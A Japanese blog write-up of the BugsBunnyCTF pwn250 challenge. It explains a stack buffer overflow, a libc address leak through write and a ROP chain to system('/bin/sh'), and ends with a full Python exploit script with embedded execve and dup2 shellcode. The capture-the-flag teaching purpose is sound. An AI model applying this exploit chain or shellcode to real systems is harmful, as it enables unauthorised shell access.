のいじーメモ

勉強したことを忘れないうちにメモしていくためのブログ

BugsBunnyCTF pwn250 writeup

競技中には手をつけていなくて解けなかったんですが競技終了後に挑戦したら解けたのでwriteupを残そうと思います。

 

 libcが渡されている問題です。

まずはセキュリティ機構の確認

f:id:neko0206:20170802130231p:plain

次は動かしてみます

f:id:neko0206:20170802130654p:plain

f:id:neko0206:20170802130709p:plain

BOFの問題ですね。

続いてディスアセンブルしてみます

f:id:neko0206:20170802130903p:plain

f:id:neko0206:20170802130917p:plain

スタックを0x80分確保していてreadで入力された値がスタックの1番上に格納されるということがわかりました。

writeが使えるのでこれを使ってGOTの__libc_start_mainのlibcアドレスをリークしてそこからオフセットでlibcのベースアドレスを求めようと考えます。writeは引数が3つ必要でx86_64のバイナリは引数がrdi,rsi,rdxになるのでスタックから各レジスタにpopしてくれるようなガジェットを探します。

f:id:neko0206:20170802130324p:plain

f:id:neko0206:20170802130454p:plain

return先はhere関数にしてもう一度readさせます。 そのあとsystem("/bin/sh")を起動させるのですが、systemを呼んだ時に

f:id:neko0206:20170802125046p:plain

このようにcall __GI___sigactionのときにスタックがrodataを指してしまいSEGVしてしまいました。これは上書きしたsaved ebpの値(今回はbss+0x100)が小さかったために起きてしまったので、もう少し大きな値へ書き換えることで解決しました。

最終的なエクスプロイトコードはこちら

#!/usr/bin/python
# -*- coding: utf-8 -*-

import __main__, os, sys, struct, socket, telnetlib, subprocess, time

from libformatstr import FormatStr

proc = ''
s = ''
 
def local(cmd):
    __main__.proc = subprocess.Popen(cmd.strip().split(' '))
    proc.wait()

def pipelocal(cmd):
    __main__.proc = subprocess.Popen(cmd.strip().split(' '), stdin=subprocess.PIPE, stdout=subprocess.PIPE)

# socat tcp-listen:4444,reuseaddr,fork exec:./a.out &
def sock(remoteip="127.0.0.1", remoteport=4444):
    __main__.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((remoteip, remoteport))
    time.sleep(0.5)

def splitn(data, n):
    length = len(data)
    return [data[i:i+n] for i in range(0, length, n)]

def writefile(buf_arg,file_name):
    with open(file_name, 'wb') as f:
        f.write(buf_arg)

def recv(delim='\n', out=1):
    data = ''
    while not data.endswith(delim):
        data += s.recv(1)
    if(out == 1):
        print('\nrecv: \n' + data + '\n')
    return data

def recvn(x=1024, out=1):
    data = ''
    data += s.recv(x)
    if(out == 1):
        print('\nrecv: \n' + data + '\n')
    return data

def send(x, sleep=0.3, out=1):
    s.sendall(x + '\n')
    if(out == 1):
        print('\nsend: \n' + x + '\n')
    time.sleep(sleep)

def u(x):
    return struct.unpack("<I",x[:4])[0]

def u64(x):
    return struct.unpack("<Q",x[:8])[0]

def p(x):
    return struct.pack("<I",x)

def p64(x):
    return struct.pack("<Q",x)

def shell():
    if(s != ''):
        #print('---- interactive mode ----')
        t= telnetlib.Telnet()
        t.sock = s
        t.interact()
    elif(p != ''):
        print('---- interactive mode ----')
        proc.wait()

def xxd(a):
    a = str(a)
    hexdump.hexdump(a)

def read(delim="\n", out=1):
    data = ''
    while not data.endswith(delim):
        data += proc.stdout.readlne(1)
    if(out == 1):
        print('\nread: \n' + data + '\n')
    return data

def readn(num=1024, out=1):
    data = ''
    while(num>0):
        data += proc.stdout.read(1)
        num = num-1
    if(out == 1):
        print('\nread: \n' + data + '\n')
    return data

sc_execve32 = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"
sc_execve64 = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"
dup2_execve32 = "\x31\xd2\x31\xc9\x8d\x5a\x04\x8d\x42\x3f\xcd\x80\x41\x8d\x42\x3f\xcd\x80\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"
dup2_execve64 = "\x31\xd2\x31\xf6\x67\x8d\x7a\x04\x67\x8d\x42\x21\x0f\x05\xff\xc6\x67\x8d\x42\x21\x0f\x05\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05"
#-----------START EXPLOIT CODE-----------#
got_libc_start_main = 0x601028
write = 0x400436
read = 0x400446
bss = 0x601040
offset_libc = 0x020740
offset_system = 0x045390
offset_binsh = 0x18cd17
sock()
raw_input("enter")

buf = "A" * 0x80
buf += p64(bss + 0x300)
buf += p64(0x0040056a)  # pop rdi; pop rsi; pop rdx; ret
buf += p64(1)
buf += p64(got_libc_start_main)
buf += p64(8) 
buf += p64(write)
buf += p64(0x400575) # :	lea    rax,[rbp-0x80]
send(buf)

line = recvn()
libc_main_addr = u64(line)

libc_base = libc_main_addr - offset_libc

buf = "A" * 0x88
buf += p64(0x00400633)  # pop rdi; ret
buf += p64(libc_base + offset_binsh)
buf += p64(libc_base + offset_system)

send(buf)
send(buf)
shell()